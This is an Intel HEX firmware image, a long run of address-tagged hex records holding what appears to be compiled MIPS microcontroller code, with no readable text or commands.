:10a5ac00ff0042301f004230ff0043300200022403
:10a5bc007701621400000000cc818293ff004230ce
:10a5cc000f004230ff0042307101401000000000cb
:10a5dc00cc81828f0018427cff004230040042285c
:10a5ec006b01401000000000f481838f20000224d6
:10a5fc00670162140000000000a0023c801c432490
:10a60c000400629001000424c439827c040062a01e
:10a61c00cc818293ff00433080ff0224241062001f
:10a62c00ff0042301600401400000000cc81828fe5
:10a63c000018427cff0042302118400000a0023c70
:10a64c0080180300001a4224211062000000428c82
:10a65c001400c2afcc81828f0018427cff004230c4
:10a66c0021184000d4818227211062000000429002
:10a67c00ff0042301800c2a3b6a9400b0000000036
:10a68c00cc81828f0018427cff00423021184000a0
:10a69c0000a0023c80180300101a42242110620012
:10a6ac000000428c1400c2afcc81828f0018427c17
:10a6bc00ff004230211840000482822721106200e2
:10a6cc0000004290ff0042301800c2a31800c29351
:10a6dc0001004230ff0042300a004014000000002c
:10a6ec001400c2271400c32700006490f7ff032452
:10a6fc0024188300ff006330000043a0caa9400b5c
:10a70c00000000001400c2271400c327000063904f
:10a71c0008006334ff006330000043a0cc818293b7
:10a72c00ff00433080ff022424106200ff004230ff
:10a73c000d00401400000000cc81828f0018427c78
:10a74c00ff004230212040001400c38f00a0023cc7
:10a75c0080200400001a422421108200000043ac27
:10a76c00e7a9400b00000000cc81828f0018427cce
:10a77c00ff004230212040001400c38f00a0023c97
:10a78c0080200400101a422421108200000043ace7
:10a79c00c9818293ff004330030002243b00621402
:10a7ac00000000001400c28f0000439080ff0224c0
:10a7bc0024106200ff0042301e0040100000000018
:10a7cc00cc818293ff00433080ff0224241062006e
:10a7dc00ff0042300d00401400000000cc81828f3d
:10a7ec000018427cff00423021184000d48182279f
:10a7fc002118620000006290010004244408827c4d
:10a80c00000062a010aa400b00000000cc81828fd7
:10a81c000018427cff00423021184000048282273d
:10a82c002118620000006290010004244408827c1c
:10a83c00000062a01400c28f1400c38f000064904b
:10a84c0001006390001a030025186400ffff6330b9
:10a85c0084006334ffff6330ff00643000004590d8
:10a86c000000a5302520a400000044a0021a03001b
:10a87c00ffff6330010044900000843025188300f2
:10a88c00010043a0e7aa400b000000001400c227ff
:10a89c001400c3270000639008006338ff00633086
:10a8ac00000043a01400c28f0000439080ff0224dc
:10a8bc0024106200ff004230320040100000000003
:10a8cc001400c28f1400c38f0000649001006390c9
:10a8dc00001a030025186400ffff64307fff032477
:10a8ec0024188300ffff6330ff00643000004590a4
:10a8fc000000a5302520a400000044a0021a03008b
:10a90c00ffff633001004490000084302518830061
:10a91c00010043a01400c28f1400c38f0000649088
:10a92c0001006390001a030025186400ffff6330d8
:10a93c0040006334ffff6330ff006430000045903b
:10a94c000000a5302520a400000044a0021a03003a
:10a95c00ffff633001004490000084302518830011
:10a96c00010043a01400c28f0500042421284000dc
:10a97c0004000624dd64400f0000000078aa400ba0
:10a98c00000000001400c28f1400c38f00006490fc
:10a99c0001006390001a030025186400ffff633068
:10a9ac0040006334ffff6330ff00643000004590cb
:10a9bc000000a5302520a400000044a0021a0300ca
:10a9cc00ffff6330010044900000843025188300a1
:10a9dc00010043a01400c2271400c3270000639099
:10a9ec0008006338ff006330000043a01800c293d6
:10a9fc0002004230ff00423008004014000000000a
:10aa0c001400c28f0000439080ff022424106200c7
:10aa1c00ff0042303900401000000000cc818293ce
:10aa2c00ff00433080ff022424106200ff004230fc
:10aa3c000c00401400000000cc81828f0018427c76
:10aa4c00ff00423021184000d48182272118620077
:10aa5c00000062904408027c000062a0a5aa400b92
:10aa6c0000000000cc81828f0018427cff00423035
:10aa7c002118400004828227211862000000629095
:10aa8c004408027c000062a01400c28f1400c38f23
:10aa9c000000649001006390001a03002518640004
:10aaac00ffff64303bff032424188300ffff633057
:10aabc00ff006430000045900000a5302520a40064
:10aacc00000044a0021a0300ffff63300100449011
:10aadc000000843025188300010043a01400c28fad
:10aaec00050004242128400004000624dd64400fe6
:10aafc0000000000d7aa400b000000001400c28f19
:10ab0c001400c38f0000649001006390001a0300ce
:10ab1c0025186400ffff64303bff032424188300d6
:10ab2c00ffff6330ff006430000045900000a5304b
:10ab3c002520a400000044a0021a0300ffff63308c
:10ab4c00010044900000843025188300010043a0cc
:10ab5c0088bf023c005342241000c2afcc81828fcc
:10ab6c000018427cff004230001102001000c38f1d
:10ab7c00211062001000c2af1000c28f0000438c85
:10ab8c00fdff0224241862001000c28f000043aca9
:10ab9c0021e8c0032400bf8f2000be8f2800bd27f2
:10abac000800e0030000000038ffbd27c400bfaf61
:10abbc00c000b1afbc00b0af2188800004000224fb
:10abcc001000a2af00a0103cdc5610269c00028e98
:10abdc001400a2afec00028e1800a2aff000028e9f
:10abec001c00a2afe400028e2000a2afe800028e8f
:10abfc002400a2afe000028e2800a2aff400028e67
:10ac0c002c00a2af059d043cb8c684240500052485
:10ac1c0001000624023c410f01000724cc0000aec9
:10ac2c009c00048ea400058eb000078e00a0033c8f
:10ac3c00995763241000a3afbc0003921400a3af78
:10ac4c008c00038e1800a3af010003241c00a3afdb
:10ac5c002000a0af422805003000a6278dff400f32
:10ac6c0080380700b000038e801803001b004314cb
:10ac7c00010003243000a42721288000e7b2400ff4
:10ac8c008400062415004010010003243000a49316
:10ac9c001500831421100000212020023100a5276b
:10acac0047b9400f2000062401000324cc0003ae5a
:10acbc00f800038e9c00028e02186270eb51023c6d
:10accc001f8542341900620010200000240e410f31
:10acdc00422104003dab400b0100022400a0023cc9
:10acec00a85743ac21100000c400bf8fc000b18f27
:10acfc00bc00b08f0800e003c800bd27e8ffbd27eb
:10ad0c001400bfaf574a410f00000000010002249d
:10ad1c001400bf8f0800e0031800bd2790ffbd276b
:10ad2c006c00bfaf6800b0af218080003030023cb7
:10ad3c00303042241800a2af300002241c00a2a71d
:10ad4c002ab9400f1d00a427140040102118000040
:10ad5c00210002241000a2af1400a0af4000a427d1
:10ad6c001800a52721300000faab400f2138000055
:10ad7c000a004010211800004000a4930100022496
:10ad8c000700821421106000212000024100a52739
:10ad9c0047b9400f20000624010003242110600055
:10adac006c00bf8f6800b08f0800e0037000bd27f7
:10adbc00b0ffbd274c00bfaf4800b1af4400b0afef
:10adcc00ff00b0304000022e25004010211800007a
:10addc0021888000edaa400f1800a4272000401005
:10adec00211800001800a4274aab400f212880002e
:10adfc003030023c313142241800a2af1c00a0a319
:10ae0c001c00a42721280002c6b6400f0800062407
:10ae1c002400a0a3210002241000a2af1400a0afb4
:10ae2c001800a4272128800021300000faab400f25
:10ae3c00213800000a004010211800001800a493cb
:10ae4c00010002240700821421106000212020023e
:10ae5c001900a52747b9400f200006240100032440
:10ae6c00211060004c00bf8f4800b18f4400b08fa0
:10ae7c000800e0035000bd2798ffbd276400bfaf5a
:10ae8c006000b1af5c00b0afff0090304000022e0c
:10ae9c004c004010211800002188a000edaa400fa2
:10aeac003000a42747004010211800003000a427d0
:10aebc004aab400f212880003000a4272ab9400f4c
:10aecc0021282002200004243e00441421180000f4
:10aedc003030023c313042241800a2af1c00a427b1
:10aeec0021280002c6b6400f080006242400a0a3a7
:10aefc001000a0af010002241400a2af5400a4273c
:10af0c001800a52721300000faab400f21380000b3
:10af1c002c0040102118000000a0023cdc564224fa
:10af2c009c00438cf800428c02186270eb51023c7e
:10af3c001f8542341900620010200000240e410fbe
:10af4c00422104001000a0af010002241400a2afa3
:10af5c005400a4273000a52721300000faab400f85
:10af6c0021380000170040102118000000a0023cfe
:10af7c00dc564224f800438cd60263249c00428c9d
:10af8c0002186270eb51023c1f85423419006200ba
:10af9c0010200000240e410f422104003000a42791
:10afac006fab400f21280002060040102118000052
:10afbc003000a427212820020954410f0800062440
:10afcc000100432c211060006400bf8f6000b18f22
:10afdc005c00b08f0800e0036800bd2778ffbd2738
:10afec008400bfaf8000b5af7c00b4af7800b3afc6
:10affc007400b2af7000b1af6c00b0af219880009c
:10b00c002190c00021a0e0009800b193ffff022422
:10b01c003000a2a35bba400f3400a427ff005530c8
:10b02c00ff0050303000a4273400a5277fac400f20
:10b03c00213000023400a227212050003000a593bb
:10b04c0030b6400f0800062400a0023cdc56422417
:10b05c00e000438c0800a526040004241000a4afd3
:10b06c009c00448c1400a4af1800a3aff000448cd7
:10b07c001c00a4afe400448c2000a4afe800448c76
:10b08c002400a4af2800a3aff400428c2c00a2af84
:10b09c003400a427ff00a53021304002023c410fb0
:10b0ac000100072448004010211800009c00a28fca
:10b0bc001d00401001000224408282a300a0023c2b
:10b0cc00dc5642249c00448ca400458c00a0033c1c
:10b0dc00995763241000a3afbc0043901400a3af96
:10b0ec008c00428c1800a2af010002241c00a2affd
:10b0fc002000a0af3400a6278dff400f03000724cb
:10b10c000300042430004414211800003400a42748
:10b11c00059d053c7cc6a5240954410f030006245b
:10b12c0029004014211800002700201201000324dc
:10b13c0001000224408282a300a0023cdc5642247f
:10b14c009c00448ca400458c2180200203008012ba
:10b15c002110000000a0023c9857429000a0033c34
:10b16c00995763241000a3af1400a2af00a0023cb7
:10b17c006857428c1800a2af010002241c00a2af39
:10b18c002000a0af213060028dff400f213820023b
:10b19c000d0002162118000000a0023cdc564224cf
:10b1ac00f800448c9c00428c02208270eb51023cd3
:10b1bc001f8542341900820010200000240e410f1c
:10b1cc004221040001000324211060008400bf8f81
:10b1dc008000b58f7c00b48f7800b38f7400b28f71
:10b1ec007000b18f6c00b08f0800e0038800bd27a1
:10b1fc00d8ffbd272400bfaf2000b4af1c00b3aff5
:10b20c001800b2af1400b1afff00d13021002012f2
:10b21c001000b0af219080002198a0002180000088
:10b22c0023103002080042280f0040102120700229
:10b23c0023a03002ff00943211b6400f2128800267
:10b24c00ff004230232811020800a5240428a20084
:10b25c0021204002ff00a530b0ac400f213080020d
:10b26c00a4ac400b0800102611b6400f08000524b2
:10b27c0021204002ff004530b0ac400f08000624ee
:10b28c0008001026ff0010322b101102e5ff4014ad
:10b29c00231030022400bf8f2000b48f1c00b38f0a
:10b2ac001800b28f1400b18f1000b08f0800e003ab
:10b2bc002800bd27ff00c630000082902628a2007f
:10b2cc00000085a0bdac400bff000524201c027cb7
:10b2dc0004006104401002001d004238bdac400b5c
:10b2ec00000082a0000082a0ffffc624ff00c63031
:10b2fc00f6ffc554000082900800e0030000000037
:10b30c0070ffbd278c00bfaf8800b7af8400b6af0d
:10b31c008000b5af7c00b4af7800b3af7400b2afaf
:10b32c007000b1af6c00b0afd600c0102190c0005f
:10b33c0021a0800021a8a0002198000021800000fd
:10b34c00059d023c74c742246000a2af039d163ccd
:10b35c00ccb3d626059d173c802810002110a502e1
:10b36c001000a2af0a0002241400a2af5000022465
:10b37c001800a2af231050021c00a2af2000a4277b
:10b38c00212885020a000624d216410f0001072449
:10b39c00bd004010218840007b4b410f2000a427aa
:10b3ac00fcff42242a00432cad00601080100200e8
:10b3bc002110c2020000428c080040000000000076
:10b3cc0074b4029dbcb4029d6cb6029d6cb6029d19
:10b3dc006cb6029d6cb6029d6cb6029d6cb6029d5d
:10b3ec006cb6029d6cb6029d6cb6029d6cb6029d4d
:10b3fc006cb6029d6cb6029d6cb6029d6cb6029d3d
:10b40c0004b5029d6cb6029d6cb6029d6cb6029d95
:10b41c006cb6029d6cb6029d6cb6029d6cb6029d1c
:10b42c006cb6029d6cb6029d6cb6029d6cb6029d0c
:10b43c006cb6029d6cb6029d6cb6029d6cb6029dfc
:10b44c006cb6029d6cb6029d6cb6029d6cb6029dec
:10b45c00b0b5029d6cb6029d6cb6029d6cb6029d99
:10b46c006cb6029df8b5029d2000a427059d053cf5
:10b47c00c0c6a5240954410f04000624070040143b
:10b48c00059d043c059d043cc8c684240413410f4f
:10b49c002000a5279fad400b21801102d4c6842427
:10b4ac000413410f2000a5279fad400b21801102f2
:10b4bc002000a427059d053cb8c6a5240954410fbe
:10b4cc000500062407004014059d043c059d043c22
:10b4dc00e4c684240413410f2000a5279fad400b24
:10b4ec0021801102d4c684240413410f2000a52707
:10b4fc009fad400b218011022000a427059d053c27
:10b50c00f4c6a5240954410f040006240700401476
:10b51c002000a427059d043cfcc684240413410f81
:10b52c002000a5275fad400b3400a0a3059d053c72
:10b53c0018c7a5240954410f040006240700401421
:10b54c00059d043c059d043c20c784240413410f35
:10b55c002000a5275fad400b3400a0a3d4c68424e3
:10b56c000413410f2000a5279fad400b2180110231
:10b57c005000a427adb9400f2400a527059d043c1d
:10b58c003cc784240413410f5000a527059d043c9f
:10b59c0044c784240413410f5200a5279fad400bd0
:10b5ac0021801102059d043c48c784240413410fdb
:10b5bc002000a5274800a0a35000a427adb9400f38
:10b5cc002000a527059d043c54c784240413410f77
:10b5dc005000a527059d043c44c784240413410f47
:10b5ec005800a5279fad400b218011022000a427f5
:10b5fc005cc7e5260954410f0500062413004014ce
:10b60c00059d043c059d043c64c784240413410f30
:10b61c002000a5274d00a0a35000a427adb9400fd2
:10b62c002500a527059d043c54c784240413410f11
:10b63c005000a527059d043c44c784240413410fe6
:10b64c005800a5279fad400b21801102d4c684243d
:10b65c000413410f2000a5279fad400b2180110240
:10b66c006000a48f0413410f2000a5272180110234
:10b67c002b1012020400401001001324daac400b12
:10b68c008028100021980000059d043c44c78424a8
:10b69c00059d053c0413410f84c7a52421106002ad
:10b6ac008c00bf8f8800b78f8400b68f8000b58f59
:10b6bc007c00b48f7800b38f7400b28f7000b18fa0
:10b6cc006c00b08f0800e0039000bd2798ffbd27e9
:10b6dc006400bfaf6000b1af5c00b0af21888000e8
:10b6ec00088180af040002241000a2af00a0023c2d
:10b6fc00dc5642249c00438c1400a3afec00438c1a
:10b70c001800a3aff000438c1c00a3afe400438ce3
:10b71c002000a3afe800438c2400a3afe000438ccf
:10b72c002800a3aff400428c2c00a2af059d043c72
:10b73c0088c784240500052401000624023c410f1f
:10b74c0001000724230040102118000001000224ee
:10b75c00408282a300a0103cdc5610269c00048e74
:10b76c00a400058eb000078e00a0023c995742241d
:10b77c001000a2afbc0002921400a2af8c00028e8b
:10b78c001800a2af010002241c00a2af2000a0af41
:10b79c008dff400f3000a627b000048e0d0044141e
:10b7ac00211800003000a427059d053c74c6a52473
:10b7bc000954410f0500062406004014211800000e
:10b7cc00212020023500a52747b9400f2000062470
:10b7dc0001000324211060006400bf8f6000b18f52
:10b7ec005c00b08f0800e0036800bd27e8ffbd27b0
:10b7fc001400bfaf574a410f0000000001000224a3
:10b80c001400bf8f0800e0031800bd2798ffbd2768
:10b81c006400bfaf6000b1af5c00b0af21888000a6
:10b82c002180a000b6ad400f3000a4274600401088
:10b83c002118000000000282030040143000a427ed
:10b84c00059d103c90c710262ab9400f21280002f4
:10b85c003d004010211800007b4b410f3000a42705
:10b86c00030003241000a3af00a0033cdc566324a8
:10b87c009c00648c1400a4af1800a0aff800648c7a
:10b88c001c00a4afe400648c2000a4afe800648c1e
:10b89c002400a4afe000648c2800a4aff400638cf7
:10b8ac002c00a3af3000a427212840002130000039
:10b8bc00023c410f01000724230040102118000016
:10b8cc0001000224408282a300a0023cdc564224e8
:10b8dc009c00448ca400458c00a0033c9957632425
:10b8ec001000a3afbc0043901400a3af8c00428c9b
:10b8fc001800a2af010002241c00a2af2000a0afd0
:10b90c003000a6278dff400f2500072425000424b6
:10b91c000d004414211800003000a427059d053c9f
:10b92c0074c6a5240954410f0500062406004014d2
:10b93c0021180000212020023500a52747b9400f0f
:10b94c002000062401000324211060006400bf8f36
:10b95c006000b18f5c00b08f0800e0036800bd2769
:10b96c0020ffbd27dc00bfafd800beafd400b7afff
:10b97c00d000b6afcc00b5afc800b4afc400b3af05
:10b98c00c000b2afbc00b1afb800b0af219880001e
:10b99c000000a280030040142180a000059d103cf3
:10b9ac009cc71026b6ad400f3000a42747024010ac
:10b9bc0021180000a8b7400f3000a42721884000b0
:10b9cc0005b8400f21200002219040007754410f10
:10b9dc00218060007754410f00a402003000a4279e
:10b9ec0021288202ddb6400f200006247400a42713
:10b9fc00adb9400f3000a527a8b7400f7400a4279d
:10ba0c00001e1000023a1200253867000272100066
:10ba1c00001c1000027c120025786f00026c1000d4
:10ba2c0000221000021e120025188300026610006e
:10ba3c00025a110002541100022e110002220200bf
:10ba4c00024c0200024602004231120042a11000d8
:10ba5c008c00b4af0200c630c001557e21a8d500c1
:10ba6c00c2c81200c2b010009000b6af0400393347
:10ba7c0021c8b90242c0120042f810009400bfafb6
:10ba8c000800183321c038032ba8a602403012003e
:10ba9c001000c630213006032bc0d80021a8150396
:10baac0042c71200c0c812002000393321c8d90087
:10babc002b30260321a8d500c236120040f9120003
:10bacc004000ff3321f83f032bc8f90321a83503ad
:10badc0042a612008000b4afc0c91200ff00393377
:10baec0021c8f9032bf83f0321a8f50342fb1200f0
:10bafc0042b310009800b6af0200ff33c003547e6f
:10bb0c0021a0f403c2ba1200c2b210009c00b6af5e
:10bb1c000400f73221b8970242b2120042f2100030
:10bb2c00a000beaf0800d63221b0f6022bf89f025f
:10bb3c0040a007001000943221a0d4022bb0960232
:10bb4c0021b0df02c0b807002000f73221b89702fd
:10bb5c002ba0f40221a0960240b107004000d6327f
:10bb6c0021b0f6022bb8d70221b8f402c039070075
:10bb7c00ff00e7302138c7022bb0f60021b8d702fe
:10bb8c0002fe070000ba170025b8f703003a0700b9
:10bb9c00213827032bc8f90021a8b70221a83503a7
:10bbac008400b5af42cd120042fd1000a400bfaf1f
:10bbbc0002003933c0055f7e21f83f03c2ac12008e
:10bbcc00c2a41000a800b4af0400b53221a8f5033c
:10bbdc0042a4120042b41000ac00b6af080094327c
:10bbec0021a0b4022bc8f90340b00f001000d632cc
:10bbfc0021b096022ba0d40221a09902c0b80f004c
:10bc0c002000f73221b8d7022bb0f60221a0d402c3
:10bc1c0040b10f004000d63221b0f6022bb8d7024b
:10bc2c0021b8f402c0790f00ff00ef312178cf0268
:10bc3c002ba8f60121a8b702c0c810008800b9af24
:10bc4c0042ff1000b000bfaf0200183340a010003c
:10bc5c00c2b71000b400b6afc29712002190120305
:10bc6c002bc0580240b11000c2fe10000400c630b8
:10bc7c00213046022bb8d20021b8f802c091100036
:10bc8c0042ce10008000be8f0800d83321c0d800ef
:10bc9c002b30060321b8d700403003001000c6300b
:10bcac00213006032bc0d80021b81703c0c00300f5
:10bcbc002000183321c0d8002b30060321b8d70040
:10bccc00403103004000c630213006032bc0d800a1
:10bcdc0021c01703c0190300ff0063302118c300f3
:10bcec002b30660021c0d80002be030000c2180031
:10bcfc0025c0f802001a03002118e3012b786f000d
:10bd0c0021c0b8022178f80102340300007c0f0036
:10bd1c002578cf00001c03002130e3002b38c7002e
:10bd2c008400a38f21786f002178ef008c00b88fee
:10bd3c0002000733c001037e2138e3009000b88f66
:10bd4c00040003332138e3009400b88f0800033358
:10bd5c002118e30010009432211874008800a78f7a
:10bd6c002000f430211874004000d63221187600df
:10bd7c00ff005232211872009800b28f0200583224
:10bd8c00c003077e213807039c00b48f040098324f
:10bd9c002138f800a000b68f0800d8322138f800fe
:10bdac0040900e00100052322138f200c0900e006c
:10bdbc00200052322138f20040910e0040005232e5
:10bdcc002138f200c0710e00ff00ce312138ee0098
:10bddc00003a070021186700a400b88f020007334f
:10bdec00c005107e2138f000a800b28f04004e323e
:10bdfc002138ee00ac00b48f08008e322138ee00f2
:10be0c0040700d001000ce312138ee00c0700d00d6
:10be1c002000ce312138ee0040710d004000ce31b3
:10be2c002138ee00c0690d00ff00ad312138ed0066
:10be3c00b000b68f0200cd320400ff332168bf0181
:10be4c00b400b88f2168b801080039332168b901f2
:10be5c0040700c001000ce312168ae01c0700c0097
:10be6c002000ce312168ae0140710c004000ce3173
:10be7c002168ae01c0610c00ff008c312160ac0167
:10be8c0000620c002138ec00003c070021386700f0
:10be9c004219110002006330c0012c7e21186c0085
:10beac00c260110004008c3121186c00426011003a
:10bebc0008008c3121186c004060110010008c318e
:10becc0021186c00c060110020008c3121186c000e
:10bedc004061110040008c3121186c00c0611100d0
:10beec00ff008c3121186c004263110002008c3170
:10befc00c0032d7e21608d01c26a11000400ad319a
:10bf0c0021608d01426a11000800ad3121608d0164
:10bf1c0040680b001000ad3121608d01c0680b0032
:10bf2c002000ad3121608d0140690b004000ad3126
:10bf3c0021608d01c0590b00ff006b3121588b0122
:10bf4c00005a0b0021186b00425d110002006b318e
:10bf5c00c0052c7e21586c01c264110004008c3188
:10bf6c0021586c014264110008008c3121586c017d
:10bf7c0040600a0010008c3121586c01c0600a002e
:10bf8c0020008c3121586c0140610a0040008c313a
:10bf9c0021586c01c0510a00ff004a3121506a013e
:10bfac004267110002008c31c25e110004006b313b
:10bfbc0021588b01c267110021586c01428e11006f
:10bfcc0008003132215871014060050010008c319d
:10bfdc0021586c01c060050020008c3121586c0187
:10bfec004061050040008c3121586c01c0290500ce
:10bffc00ff00a53021586501005a0b0021284b0188
:10c00c00002c0500211865001000a3af4229020086
:10c01c000200a530c001437c2128a300c2180200f5
:10c02c00040063302128a30042180200080063308a
:10c03c002128a30040180200100063302128a3001f
:10c04c00c0180200200063302128a3004019020010
:10c05c00400063302128a300c0190200ff006330a8
:10c06c002128a300421b020002006330c0034a7c5b
:10c07c0021186a00c252020004004a3121186a00d9
:10c08c004252020008004a3121186a004050040054
:10c09c0010004a3121186a00c050040020004a31b7
:10c0ac0021186a004051040040004a3121186a00ee
:10c0bc00c0210400ff00843021186400001a030022
:10c0cc002120a300421d020002006330c005457c04
:10c0dc0021186500c22c02000400a530211865004f
:10c0ec00422c02000800a5302118650040280900e8
:10c0fc001000a53021186500c02809002000a530cb
:10c10c0021186500402909004000a5302118650060
:10c11c00c0490900ff00293121186900424f020073
:10c12c0002002931c22e02000400a530212825016d
:10c13c00c24f02002128a90042160200080042301a
:10c14c002110a200402808001000a5302110450045
:10c15c00c02808002000a530211045004029080007
:10c16c004000a53021104500c0410800ff000831f7
:10c17c00214048000042080021186800001c030000
:10c18c00211083001400a2af00a0043ce0698424b9
:10c19c00ba01410f2138e701ffff0424dab2400f46
:10c1ac00200005245000a42721284000ddb6400fb4
:10c1bc002000062400a0043cb6ad400f5c4584244e
:10c1cc0042004010211800007b4b410f3000a42787
:10c1dc00030003241000a3af00a0033cdc5663242f
:10c1ec009c00648c1400a4af1800a0aff800648c01
:10c1fc001c00a4afe400648c2000a4afe800648ca5
:10c20c002400a4afe000648c2800a4aff400638c7d
:10c21c002c00a3af3000a4272128400021300000bf
:10c22c00023c410f01000724280040102118000097
:10c23c0001000224408282a300a0023cdc5642246e
:10c24c009c00448ca400458c00a0033c99576324ab
:10c25c001000a3afbc0043901400a3af8c00428c21
:10c26c001800a2af010002241c00a2af2000a0af56
:10c27c003000a6278dff400f25000724250004243d
:10c28c0012004414211800003000a427059d053c21
:10c29c0074c6a5240954410f050006240b00401454
:10c2ac002118000001000224088182af21206002c5
:10c2bc003500a52747b9400f200006242120600235
:10c2cc006cb2400f21286002211840002110600040
:10c2dc00dc00bf8fd800be8fd400b78fd000b68fd4
:10c2ec00cc00b58fc800b48fc400b38fc000b28f20
:10c2fc00bc00b18fb800b08f0800e003e000bd2790
:10c30c00ff00a5300800a22c5a0040102118000094
:10c31c00a0ffbd275c00bfaf5800b0af21808000ec
:10c32c00313102243000a2a73200a427c6b6400f38
:10c33c00030006243500a427ccba400f3000a527f3
:10c34c003a00a0a30881828f030040103000a4277c
:10c35c009fb2400f212880007b4b410f3000a42757
:10c36c00030003241000a3af00a0033cdc5663249d
:10c37c009c00648c1400a4af1800a0aff800648c6f
:10c38c001c00a4afe400648c2000a4afe800648c13
:10c39c002400a4afe000648c2800a4aff400638cec
:10c3ac002c00a3af3000a42721284000213000002e
:10c3bc00023c410f01000724290040102118000005
:10c3cc0001000224408282a300a0023cdc564224dd
:10c3dc009c00448ca400458c00a0033c995763241a
:10c3ec001000a3afbc0043901400a3af8c00428c90
:10c3fc001800a2af010002241c00a2af2000a0afc5
:10c40c003000a6278dff400f2500072425000424ab
:10c41c0013004414211800003000a427059d053c8e
:10c42c0074c6a5240954410f050006240c004014c1
:10c43c0021180000212000023500a52747b9400f24
:10c44c00200006240881828f05004010010003247f
:10c45c00212000026cb2400f21280002211840005c
:10c46c00211060005c00bf8f5800b08f0800e00303
:10c47c006000bd270800e0032110600038ffbd27d5
:10c48c00c400bfafc000b1afbc00b0afff00903074
:10c49c000800022e9d004010211800002188a000e9
:10c4ac00313002243000a2a73200a4272128000238
:10c4bc00c6b6400f030006243500a427ccba400fa3
:10c4cc003000a5273a00a0a30881828f06004010f7
:10c4dc003000a28f3c00a4279fb2400f3000a5274c
:10c4ec0045b1400b6400a4273c00a2af3400a28fde
:10c4fc004000a2af3800a2974400a2a73a00a29332
:10c50c004600a2a36400a4272ab9400f21282002c8
:10c51c00200004247d004414211800007b4b410fa3
:10c52c003c00a427030003241000a3af00a0033c8d
:10c53c00dc5663249c00648c1400a4af1800a0afdc
:10c54c00f800648c1c00a4afe400648c2000a4af41
:10c55c00e800648c2400a4afe000648c2800a4af35
:10c56c00f400638c2c00a3af3c00a42721284000ce
:10c57c0021300000023c410f0100072463004010f1
:10c58c002118000001000224408282a300a0023c7a
:10c59c00dc5642249c00448ca400458c00a0033c37
:10c5ac00995763241000a3afbc0043901400a3afb1
:10c5bc008c00428c1800a2af010002241c00a2af18
:10c5cc002000a0af8c00a6278dff400f0f00072482
:10c5dc000f000324190043140881828f8c00a427b8
:10c5ec00059d053c74c6a5240954410f050006247d
:10c5fc0046004014211800000881828f050040106d
:10c60c009100a42721288000c3b2400f0a00062401
:10c61c009100a427212880008eba400f0a0006241e
:10c62c003000a4279100a5270954410f0a000624c5
:10c63c0036004014211800000881828f030040103e
:10c64c006400a4279fb2400f212880007b4b410f30
:10c65c006400a427030003241000a3af00a0033c34
:10c66c00dc5663249c00648c1400a4af1800a0afab
:10c67c00f800648c1c00a4afe400648c2000a4af10
:10c68c00e800648c2400a4afe000648c2800a4af04
:10c69c00f400638c2c00a3af6400a4272128400075
:10c6ac0021300000023c410f01000724170040100c
:10c6bc002118000000a0023cdc564224f800438cf8
:10c6cc00660263249c00428c02186270eb51023c9f
:10c6dc001f8542341900620010200000240e410f07
:10c6ec00422104003c00a427c3b0400f21280002c3
:10c6fc0006004010211800003c00a427212820022d
:10c70c000954410f080006240100432c211060003d
:10c71c00c400bf8fc000b18fbc00b08f0800e00315
:10c72c00c800bd27b8ffbd274400bfaf4000b7af5e
:10c73c003c00b6af3800b5af3400b4af3000b3af87
:10c74c002c00b2af2800b1af2400b0af4800a4afaa
:10c75c004c00a5af5000a6af5400a7af2003162481
:10c76c00059d023cacc742241400a2af059d023cbf
:10c77c00b4c742245bb2400b1800a2af00a0023c2d
:10c78c00dc5642249c0056ace00057ace40055ac9f
:10c79c00e80052ac1400a48f6913410f2128e00269
:10c7ac001800a48f6913410f2128a002059d043c99
:10c7bc00c0c784246913410f21284002059d043c05
:10c7cc00c8c784246913410f2128c0020500102416
:10c7dc001000a0af21a00000219800002b15410fe4
:10c7ec0000000000650040144400bf8fb6ad400f40
:10c7fc002120200218004050ffff10260100732654
:10c80c00ff0073322120200206ae400f6000a58f7e
:10c81c000700405401009426212020025bae400ffb
:10c82c006000a58f0c004050ffff102601009426dd
:10c83c00ff00943221202002c3b0400f21280000b9
:10c84c0005004010ffff10261000a38f010062248a
:10c85c00ff0042301000a2afff001032dfff0016c5
:10c86c00050002241700625601005226150082565c
:10c87c00010052261000a48f12008254010052268f
:10c88c00059d043cd0c784246913410f0500052481
:10c89c00059d043cdcc784246913410f0500052465
:10c8ac00059d043ce8c784246913410f0500052449
:10c8bc00059d043cf4c784246913410f050005242d
:10c8cc00010052265c00a38f2b107200acff4010ad
:10c8dc0000a0023c0100b5265400a48f2b1095003b
:10c8ec000b0040540100f7265800a38f5c00a48f66
:10c8fc002b108300f8ff40540100b52621906000f6
:10c90c0000a0113ce2b1400bdc2431260100f726db
:10c91c004c00a38f2b10770009004014059d043c9c
:10c92c005000a48f5400a38f2b106400f7ff401409
:10c93c0021a880003eb2400b5800a38f059d043cfb
:10c94c0044c78424059d053c0413410f84c7a524ca
:10c95c000100d6262a0302240800c2124400bf8f0d
:10c96c004800a48f4c00a38f2b106400f3ff4014dd
:10c97c0021b880004cb2400b5000a48f4000b78f00
:10c98c003c00b68f3800b58f3400b48f3000b38fb5
:10c99c002c00b28f2800b18f2400b08f0800e00368
:10c9ac004800bd27d0ffbd272c00bfaf2800b4af77
:10c9bc002400b3af2000b2af1c00b1af1800b0af71
:10c9cc00218080002188a0007b4b410f2120a000fa
:10c9dc001c00401021904000059d133c14c8732688
:10c9ec00059d143c18c894262120200221286002a1
:10c9fc000357410f1000a627010003241300431412
:10ca0c001000a493dab2400f080005241400a427e8
:10ca1c0021288002e455410f213040001400a293dc
:10ca2c00000002a21500a293010002a2020031260e
:10ca3c00feff5226ecff40160200102697b2400b68
:10ca4c000100022497b2400b0100022421100000c7
:10ca5c002c00bf8f2800b48f2400b38f2000b28f1e
:10ca6c001c00b18f1800b08f0800e0033000bd2708
:10ca7c00d8ffbd272400bfaf2000b4af1c00b3af5c
:10ca8c001800b2af1400b1af1000b0af2198800005
:10ca9c002180a0007b4b410f2120a0000f004010f3
:10caac0021a0400021884000219060020100102646
:10cabc0001005226ffff0392d0ff6424ff00843054
:10cacc00dab2400f0100052430004224ffff31266a
:10cadc00f6ff2016ffff42a221987402000060a20c
:10caec002400bf8f2000b48f1c00b38f1800b28fae
:10cafc001400b18f1000b08f0800e0032800bd2790
:10cb0c00e0ffbd271c00bfaf1800b2af1400b1afdf
:10cb1c001000b0af218880002190a0000900c01047
:10cb2c002180c0000100312601005226ffff4492f3
:10cb3c00dab2400f01000524ffff1026f9ff0016a2
:10cb4c00ffff22a21c00bf8f1800b28f1400b18f00
:10cb5c001000b08f0800e0032000bd27e8ffbd27c0
:10cb6c001400bfaf1000b0af2180800000a0043cc7
:10cb7c00e06984241003410fff00a53026105000fb
